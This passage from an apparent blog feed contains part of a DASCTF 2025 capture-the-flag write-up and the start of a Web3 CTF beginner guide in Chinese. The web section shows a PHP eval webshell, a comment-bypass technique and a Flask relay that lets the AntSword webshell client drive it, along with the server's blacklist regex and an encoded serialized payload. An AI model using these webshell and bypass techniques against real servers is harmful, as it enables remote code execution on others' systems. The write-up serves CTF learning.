class="keyword">final</span> <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> getField(obj.getClass(), fieldName);</span><br><span class="line">        field.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="keyword">if</span>(field != <span class="literal">null</span>) &#123;</span><br><span class="line">            field.set(obj, value);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Field <span class="title function_">getField</span><span class="params">(<span class="keyword">final</span> Class&lt;?&gt; clazz, <span class="keyword">final</span> String fieldName)</span> &#123;</span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            field = clazz.getDeclaredField(fieldName);</span><br><span class="line">            field.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (NoSuchFieldException ex) &#123;</span><br><span class="line">            <span class="keyword">if</span> (clazz.getSuperclass() != <span class="literal">null</span>)</span><br><span class="line">                field = getField(clazz.getSuperclass(), fieldName);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> field;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>eNrtVD1sHEUUfnPn%2B%2BVs8GE7OIrET2M7SmYNQUTiIogTMHY4Yitn2UgntMztTW7X3p9hZtbegERBTw%2BiAwmEuCaNA0SAIkSD0qQACYiUFEhUNISCJjFvdh3ZECNCRZNd3czt7HvfvPfN923%2FVygoCcOrbJ3RWHs%2BnWPKfYmJQunHS1%2BPvXolD7lZqPoR684yR0dyHiralVy5kd9NxLPHIb02yjjkzA%2FBjkayR5WQXtg7K1nANyK5RlkkqGayxzWdi3RrgwnBOj5fSpdaUSwd7g7e%2BvmjmQ9aOSBNKGbBGupNU5vls7BnLXRWuaMbicBdDjlRQM8ypblMAp%2BuMmdNRSHtMs06XtilYdTldHHh1MJp%2FJNVCbkM2l5nfsxfgzchn0g4fDdAyyZjFxLBZjF3%2Bm5yTzDFT%2BHy39NNF%2FtT4hV3Yunpc7Tl9ULezdqsbH3hHjz23VYO8m0oOVGoeYh85Non2lBRGMh0LNMuqk2oaZczvxchihv8lbSWNieBpMXSJPdv7PujWF66nlYAUBjv35PA%2FyqBpw2AikNqOGOCOS6nCcNmqYdHLkPm00T52qFasoQu8UD4THM1j3NlZeFS2P%2FkSB6K8zBo43YokdNx0OF4SEM2JoTK53oe15M2VO3OOc0dLEFp1JTRUdF2fKbwsd7exfFJs9ZoQsEO8ez2VFMThu0o1iLWizISXGrPgI5lgUZE1s56w%2BgMYAsvlKDZ%2BMWb46O93k9HtzUIZE9pkpVvb33%2BJb5%2BEh4iQFgJCIHjyJaFbFnIlpWxZaVsWbfZslK2LBmH2gu4NdNRyIOjl7bJKEGeQPGYF3r6GQL5yallAgMnkZQaFKBYhQEok8wMWcNnMpwSVAlUUY7bzwRGJ6ead4Q1alCDwSrcB0MECjJ4xGJleAB34Al3CExM3knlbhQkzeHIfQ3q8KBBGcFNM2vMej5uWmTURMOjaLWBTEd4Y%2BE4lvBpP64TnIcOXoDKp3B%2FfXgTRlfOb0eOpRbdJzSQ18UGgcQYYECZ0bj28b2UKJh2d5QYpfZT9OWs%2BAPVicbc2Dc3Myv8l%2FzMx7%2B%2FU69cfGNzPDVlIbDx9W1PHvp3sOcTgZ8h5UVh6YcPD7zd73%2Bf4pQDWzCZfiyfaO4lF4OyI5cdFONOFKsQpoaRJDbTIFJmTR%2FOjcJbv%2FhTj61NvOc9nHzWbFw7X3vqleXcSPPI4rvrv01%2F%2FP7V1oXNi%2BM3vnqBXkZ3PdeaucftP3I7nPwJKiK0Jw%3D%3D</code></p><h2 id="Web-phpms-Rusty-Luminoria-Ron-未出"><a href="#Web-phpms-Rusty-Luminoria-Ron-未出" class="headerlink" title="[Web] phpms | @Rusty @Luminoria @Ron | 未出"></a>[Web] phpms | @Rusty @Luminoria @Ron | 未出</h2><p>进去一片空白？</p><p>对扫描速度做了限制</p><p>存在<code>/.git</code>泄露：<code>/.git/logs/HEAD</code></p><p><img src="https://assets.bili33.top/img/DASCTF-2025-First-Half-Writeup/3cef11ef-2815-47c5-96b3-774ede8f264d.png"></p><p>githacker爬取，stashes里面有index.php</p><p><img src="https://assets.bili33.top/img/DASCTF-2025-First-Half-Writeup/7705f1cc-852e-4dd3-aaf3-123b82235fb9.png"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"> <span class="variable">$shell</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;shell&#x27;</span>];</span><br><span class="line"> <span class="keyword">if</span>(<span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/\x0a|\x0d/&#x27;</span>,<span class="variable">$shell</span>))&#123;</span><br><span class="line">     <span class="keyword">echo</span> <span class="string">&#x27;:(&#x27;</span>;</span><br><span class="line"> &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">     <span class="keyword">eval</span>(<span class="string">&quot;#<span class="subst">$shell</span>&quot;</span>);</span><br><span class="line"> &#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><blockquote><p>参考：【从国赛想到的一些php绕过注释符trick】<a href="https://osthing.github.io/2024/07/14/%E4%BB%8E%E5%9B%BD%E8%B5%9B%E6%83%B3%E5%88%B0%E7%9A%84%E4%B8%80%E4%BA%9Bphp%E7%BB%95%E8%BF%87%E6%B3%A8%E9%87%8A%E7%AC%A6trick/">https://osthing.github.io/2024/07/14/%E4%BB%8E%E5%9B%BD%E8%B5%9B%E6%83%B3%E5%88%B0%E7%9A%84%E4%B8%80%E4%BA%9Bphp%E7%BB%95%E8%BF%87%E6%B3%A8%E9%87%8A%E7%AC%A6trick/</a></p><p><a href="https://www.php.net/manual/zh/language.basic-syntax.comments.php">https://www.php.net/manual/zh/language.basic-syntax.comments.php</a></p></blockquote><p>写一个中间件把 payload 包裹在 <code>?&gt;&lt;?</code> 和 <code>?&gt;</code> 的中间</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">      </span><br><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask, request</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">app = Flask(__name__)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置目标 URL</span></span><br><span class="line">TARGET_URL = <span class="string">&quot;http://305c69e8-4b82-47cc-9072-e5997b2cbb66.node5.buuoj.cn:81/index.php?shell=&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&quot;/exec&quot;</span>, methods=[<span class="string">&quot;GET&quot;</span>, <span class="string">&quot;POST&quot;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">send_payload</span>():</span><br><span class="line">    payload = request.args.get(<span class="string">&quot;payload&quot;</span>) <span class="keyword">or</span> request.form.get(<span class="string">&quot;payload&quot;</span>)</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> payload:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;Missing payload&quot;</span>, <span class="number">400</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 包装 payload</span></span><br><span class="line">    data = <span class="string">f&quot;?&gt;&lt;?<span class="subst">&#123;payload&#125;</span>?&gt;&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 发送 POST 请求</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        response = requests.get(TARGET_URL+data)</span><br><span class="line">        <span class="built_in">print</span> (response.text)</span><br><span class="line">        <span class="keyword">return</span> response.text, response.status_code</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">str</span>(e), <span class="number">500</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    app.run(port=<span class="number">5000</span>, debug=<span class="literal">True</span>)</span><br></pre></td></tr></table></figure><p>蚁剑参数</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">URL： http://127.0.0.1:5000/exec</span><br><span class="line">连接密码: payload</span><br><span class="line">编码器选择 base64</span><br></pre></td></tr></table></figure><p>得到 </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">php版本7.3.33</span><br><span class="line">Apache/2.4.52 (Debian)</span><br></pre></td></tr></table></figure><p>能够拿到黑名单</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">block_if_dangerous_code</span>(<span class="params"><span class="variable">$input</span></span>) </span>&#123;</span><br><span class="line">    <span class="comment">// 定义正则：匹配函数名，忽略大小写，捕获具体匹配内容</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/\b(eval|include|include_once|require|require_once)\b/i&#x27;</span>, <span class="variable">$input</span>, <span class="variable">$match</span>)) &#123;</span><br><span class="line">        <span class="variable">$matched_func</span> = <span class="variable">$match</span>[<span class="number">1</span>];  <span class="comment">// 捕获到的函数名</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;&lt;br /&gt;&quot;</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;&lt;b&gt;Warning&lt;/b&gt;: <span class="subst">&#123;$matched_func&#125;</span> has been disabled for security reasons in &lt;b&gt;/var/www/html/index.php(6) : eval()&#x27;d code&lt;/b&gt; on line &lt;b&gt;1&lt;/b&gt;&lt;br /&gt;&quot;</span>;</span><br><span class="line">        <span class="keyword">exit</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 检查 GET 参数 shell</span></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;shell&#x27;</span>])) &#123;</span><br><span class="line">    <span class="title function_ invoke__">block_if_dangerous_code</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;shell&#x27;</span>]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h1 id="Reverse"><a href="#Reverse" class="headerlink" title="Reverse"></a>Reverse</h1><h2 id="Reverse-BabyAPP-Jeremiah-未出"><a href="#Reverse-BabyAPP-Jeremiah-未出" class="headerlink" title="[Reverse] BabyAPP | @Jeremiah | 未出"></a>[Reverse] BabyAPP | @Jeremiah | 未出</h2><p>能够得到 K3y: 2086757714</p><p>有简单混淆，只需要在BR x8处将指令patch成 B 某个偏移处即可，经过测试需要改成B SBFX指令的下一条指令的地址即可</p><p>加密流程为</p><ul><li>白盒AES（0x3FD0）</li><li>CRC32（0x6C6F7665）</li></ul><h2 id="Reverse-鱼音乐-Jeremiah-未出"><a href="#Reverse-鱼音乐-Jeremiah-未出" class="headerlink" title="[Reverse] 鱼音乐 | @Jeremiah | 未出"></a>[Reverse] 鱼音乐 | @Jeremiah | 未出</h2><p>看图标 Pyinstaller，GUI 用的 Qt5，使用 Pylingual 逆向 main.pyc</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Decompiled with PyLingual (https://pylingual.io)</span></span><br><span class="line"><span class="comment"># Internal filename: main.py</span></span><br><span class="line"><span class="comment"># Bytecode version: 3.8.0rc1+ (3413)</span></span><br><span class="line"><span class="comment"># Source timestamp: 1970-01-01 00:00:00 UTC (0)</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> PyQt5.QtWidgets <span class="keyword">import</span> QApplication, QMainWindow, QWidget, QPushButton, QLabel, QVBoxLayout, QFileDialog, QMessageBox</span><br><span class="line"><span class="keyword">from</span> PyQt5.QtGui <span class="keyword">import</span> QPixmap</span><br><span class="line"><span class="keyword">from</span> PyQt5.QtMultimedia <span class="keyword">import</span> QMediaPlayer, QMediaContent</span><br><span class="line"><span class="keyword">from</span> PyQt5.QtCore <span class="keyword">import</span> QUrl</span><br><span class="line"><span class="keyword">from</span> xianyu_decrypt <span class="keyword">import</span> load_and_decrypt_xianyu</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">MainWindow</span>(<span class="title class_ inherited__">QMainWindow</span>):</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="built_in">super</span>().__init__()</span><br><span class="line">        self.setWindowTitle(<span class="string">&#x27;Fish Player - 鱼音乐🐟&#x27;</span>)</span><br><span class="line">        self.resize(<span class="number">600</span>, <span class="number">400</span>)</span><br><span class="line">        self.player = QMediaPlayer(self)</span><br><span class="line">        self.open_button = QPushButton(<span class="string">&#x27;打开 .xianyu 文件&#x27;</span>)</span><br><span class="line">        self.open_button.clicked.connect(self.open_xianyu)</span><br><span class="line">        self.cover_label = QLabel(<span class="string">&#x27;专辑封面展示&#x27;</span>)</span><br><span class="line">        self.cover_label.setScaledContents(<span class="literal">True</span>)</span><br><span class="line">        self.cover_label.setFixedSize(<span class="number">300</span>, <span class="number">300</span>)</span><br><span class="line">        layout = QVBoxLayout()</span><br><span class="line">        layout.addWidget(self.open_button)</span><br><span class="line">        layout.addWidget(self.cover_label)</span><br><span class="line">        container = QWidget()</span><br><span class="line">        container.setLayout(layout)</span><br><span class="line">        self.setCentralWidget(container)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">open_xianyu</span>(<span class="params">self</span>):</span><br><span class="line">        file_path, _ = QFileDialog.getOpenFileName(self, <span class="string">&#x27;选择 .xianyu 文件&#x27;</span>, <span class="string">&#x27;&#x27;</span>, <span class="string">&#x27;Xianyu Files (*.xianyu)&#x27;</span>)</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> file_path:</span><br><span class="line">            <span class="keyword">return</span></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            info = load_and_decrypt_xianyu(file_path)</span><br><span class="line">            meta = info[<span class="string">&#x27;meta&#x27;</span>]</span><br><span class="line">            cover_path = info[<span class="string">&#x27;cover_path&#x27;</span>]</span><br><span class="line">            audio_path = info[<span class="string">&#x27;audio_path&#x27;</span>]</span><br><span class="line">            <span class="keyword">if</span> cover_path <span class="keyword">and</span> os.path.exists(cover_path):</span><br><span class="line">                pixmap = QPixmap(cover_path)</span><br><span class="line">                self.cover_label.setPixmap(pixmap)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                self.cover_label.setText(<span class="string">&#x27;无封面&#x27;</span>)</span><br><span class="line">            url = QUrl.fromLocalFile(audio_path)</span><br><span class="line">            self.player.setMedia(QMediaContent(url))</span><br><span class="line">            self.player.play()</span><br><span class="line">            name = meta.get(<span class="string">&#x27;name&#x27;</span>, <span class="string">&#x27;未知&#x27;</span>)</span><br><span class="line">            artist = meta.get(<span class="string">&#x27;artist&#x27;</span>, <span class="string">&#x27;未知歌手&#x27;</span>)</span><br><span class="line">            fl4g = meta.get(<span class="string">&#x27;fl4g&#x27;</span>, <span class="string">&#x27;where_is_the_flag?&#x27;</span>)</span><br><span class="line">            FLAG = meta.get(<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">            QMessageBox.information(self, <span class="string">&#x27;🐟音乐提示您&#x27;</span>, <span class="string">f&#x27;正在播放：<span class="subst">&#123;name&#125;</span>\n歌手：<span class="subst">&#123;artist&#125;</span>\nfl4g:<span class="subst">&#123;fl4g&#125;</span>\nFLAG:<span class="subst">&#123;FLAG&#125;</span>&#x27;</span>)</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">            QMessageBox.critical(self, <span class="string">&#x27;错误&#x27;</span>, <span class="built_in">str</span>(e))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    app = QApplication(sys.argv)</span><br><span class="line">    w = MainWindow()</span><br><span class="line">    w.show()</span><br><span class="line">    sys.exit(app.exec_())</span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><p><code>xianyu_decrypt</code> 是 pyd 文件，应该是 Cython 写的</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="CTF" scheme="https://bili33.top/categories/CTF/"/>
    
    
    <category term="CTF" scheme="https://bili33.top/tags/CTF/"/>
    
    <category term="DASCTF" scheme="https://bili33.top/tags/DASCTF/"/>
    
  </entry>
  
  <entry>
    <title>【更新中】Web3 CTF 从入门到入土</title>
    <link href="https://bili33.top/posts/CTF-Web3-Guide/"/>
    <id>https://bili33.top/posts/CTF-Web3-Guide/</id>
    <published>2025-05-26T16:42:59.000Z</published>
    <updated>2026-03-31T05:59:59.342Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><div class="note success flat"><p>从我复读考上大学以后继续打 CTF，我就发现了跟我以前打 CTF 相比，现在的 CTF 的 Misc 中加入了更多的新题，而其中就有 Web3 这一分支。而我在网上冲浪的时候发现 Web3 的教程还是太少了（毕竟这东西太新了），于是我决定写一篇 Web3 的各方面的文章，包含所有我会遇到的东西，不仅是我自己能看，其他 Web3 小萌新也可以进行学习，于是就有了本文</p><p>因为我个人是写文章是习惯性地尽可能详细的（特别是技术文），所以如果觉得本文啰嗦的话，可以跳着看，目录在右边的公告栏下方</p><p>我会根据我自己学习的进度来更新本文章，这是长线作战，我会尽量坚持下来的</p><p>本文将会使用钱包 <code>0xF126dCA69E9c9E5f128bb718b98f3544F9A8b413</code> 作为测试用户</p><p>My wallet address: <code>0x8888813Cb0Dc768CDd0D9b3e62674E715a13d611</code></p></div><div class="note warning flat"><p>因为本站使用的代码高亮 highlight.js 对 Solidity 的支持是战五渣级别的，为了良好的阅读体验，对于 Solidity 代码，我会使用下面这个工具进行高亮后，再以 html 代码的形式复制到本页面中，已经通过写 js 和 css 的方式解决了没有行号和复制按钮的问题，除了看起来跟其他代码框有那么一点点的区别外，大致不影响（<del>因此带来了没有一键复制和没有行号显示的问题</del>），不便之处，尽请谅解（滑跪）</p><ul><li>Syntax Highlighter: <a href="https://syntaxhighlighter.app/zh-Hans/solidity">https://syntaxhighlighter.app/zh-Hans/solidity</a></li></ul></div><h1 id="前置准备与知识点"><a href="#前置准备与知识点" class="headerlink" title="前置准备与知识点"></a>前置准备与知识点</h1><div class="note warning flat"><p>入门这一节我会讲述需要准备什么东西，怎么准备，如果你已经准备好了的话可以跳过这一节</p></div><h2 id="准备一个钱包"><a href="#准备一个钱包" class="headerlink" title="准备一个钱包"></a>准备一个钱包</h2><p>作为一名即将步入 Web3 领域的 CTFer，你需要准备一个钱包。鉴于 MetaMask 这个钱包的知名以及使用之广泛，我建议你安装一个 MetaMask</p><h3 id="在电脑上安装"><a href="#在电脑上安装" class="headerlink" title="在电脑上安装"></a>在电脑上安装</h3><p>在电脑上，MetaMask 是一个浏览器插件，所以你可以使用任意 Chromium 内核的浏览器进行安装（或者是 Firefox），这里罗列几个地址</p><ul><li>Edge: <a href="https://microsoftedge.microsoft.com/addons/detail/metamask/ejbalbakoplchlghecdalmeeeajnimhm?hl=zh-CN">https://microsoftedge.microsoft.com/addons/detail/metamask/ejbalbakoplchlghecdalmeeeajnimhm?hl=zh-CN</a></li><li>Chrome: <a href="https://chromewebstore.google.com/detail/metamask/nkbihfbeogaeaoehlefnkodbefgpgknn">https://chromewebstore.google.com/detail/metamask/nkbihfbeogaeaoehlefnkodbefgpgknn</a></li><li>Firefox: <a href="https://addons.mozilla.org/en-US/firefox/addon/ether-metamask/">https://addons.mozilla.org/en-US/firefox/addon/ether-metamask/</a></li><li>Opera: <a href="https://addons.opera.com/en-gb/extensions/details/metamask-10/">https://addons.opera.com/en-gb/extensions/details/metamask-10/</a></li></ul><h3 id="在手机上安装"><a href="#在手机上安装" class="headerlink" title="在手机上安装"></a>在手机上安装</h3><p>如果是使用 Android 手机，可以直接通过 Google Play 进行安装，当然你也可以使用 Github</p><blockquote><p><a href="https://github.com/MetaMask/metamask-mobile/releases">https://github.com/MetaMask/metamask-mobile/releases</a></p></blockquote><p>苹果手机的话你肯定绕不开 App Store</p><blockquote><p><a href="https://apps.apple.com/us/app/metamask-crypto-wallet/id1438144202">https://apps.apple.com/us/app/metamask-crypto-wallet/id1438144202</a></p></blockquote><p>安装完成后初始化一个钱包就行了，当然了，以太坊主网有点难连接上，可以考虑开个梯子</p><div class="note warning flat"><p>安全提示：请不要把你的助记词&#x2F;私钥发给任何人；请只授权你信任的 DAPP&#x2F;网站与你的钱包进行连接！</p><p>不管你对 Web3 有多了解，如果你看到这里了，我都建议你再去看一次小狐狸的安全指南：<a href="https://learn.metamask.io/zh-CN/lessons/security-in-web3">https://learn.metamask.io/zh-CN/lessons/security-in-web3</a></p></div><h2 id="准备-Remix-IDE"><a href="#准备-Remix-IDE" class="headerlink" title="准备 Remix IDE"></a>准备 Remix IDE</h2><p>Remix IDE 是一个开源的、基于浏览器的集成开发环境（IDE），主要用于开发、编译、测试和部署以太坊（Ethereum）区块链上的智能合约。它由以太坊基金会支持，旨在为开发者提供一个简单易用的工具来编写 Solidity 语言（以太坊智能合约的主要编程语言）代码。—— Grok</p><p>主要注意地址是否正确就行了，不正确的地址可能会造成你钱货两空（额……货是什么？我不道啊）</p><ul><li>在线IDE：<a href="https://remix.ethereum.org/">https://remix.ethereum.org/</a></li><li>本地IDE（离线版）：<a href="https://github.com/remix-project-org/remix-desktop-insiders">https://github.com/remix-project-org/remix-desktop-insiders</a></li></ul><h2 id="使用钱包去接水"><a href="#使用钱包去接水" class="headerlink" title="使用钱包去接水"></a>使用钱包去接水</h2><p>在每个区块链上，通常都存在多个网络，其中最重要的是主网（Mainnet）和测试网（Testnet）。</p><p><strong>主网网络（Mainnet）</strong>：主网网络是真正的生产环境，其中的交易使用真实的代币进行结算。这是真正的价值交换发生的地方，因此需要小心谨慎。</p><p><strong>测试网络（Testnet）</strong>：在主网上进行开发和测试可能会非常昂贵，因为每个操作都需要使用真实代币支付Gas费用。为了解决这个问题，每个区块链都提供了测试网络，这些网络上的代币没有实际价值，而且通常可以通过水龙头免费获得。开发者可以在测试网络上构建和测试智能合约，以确保它们在主网上能够正确运行。</p><p>我们在测试的过程中，当然不可能去使用真钱，所以我们要去拿测试币（俗称：接水）</p><p>我这边使用的是由 Google 提供的 Ethereum Sepolia Faucet，这里有好几种测试币可以选择，我选择在 Sepolia 上进行测试，所以我选择 <code>Ethereum Sepolia</code>，每次可以接到 <code>0.05 ETH</code>（每个 Google 账号每 24 小时可以接这个数量）</p><p>实际上，<code>0.05 ETH</code> 已经能干很多事情了</p><blockquote><p><a href="https://cloud.google.com/application/web3/faucet/ethereum/sepolia">https://cloud.google.com/application/web3/faucet/ethereum/sepolia</a></p></blockquote><p><img src="https://assets.bili33.top/img/CTF-Web3-Guide/msedge_8UXSx6lrE7.png"></p><p>把自己的钱包地址填进去就可以了，地址在钱包里面顶上复制一下就好了</p><p><img src="https://assets.bili33.top/img/CTF-Web3-Guide/msedge_ItPuB71gcx.png"></p><h2 id="（可选）部署一个最简单的开发节点"><a href="#（可选）部署一个最简单的开发节点" class="headerlink" title="（可选）部署一个最简单的开发节点"></a>（可选）部署一个最简单的开发节点</h2><p>你可以使用 hardhat 来部署一个最简单的开发节点，首先你的确保你安装了 nodejs</p><p>然后使用 <code>npx hardhat init</code> 来初始化你的节点，使用 <code>npx hardhat node</code> 来开启节点的服务</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br></pre></td><td class="code"><pre><span class="line">$ npx hardhat init</span><br><span class="line">888    888                      888 888               888</span><br><span class="line">888    888                      888 888               888</span><br><span class="line">888    888                      888 888               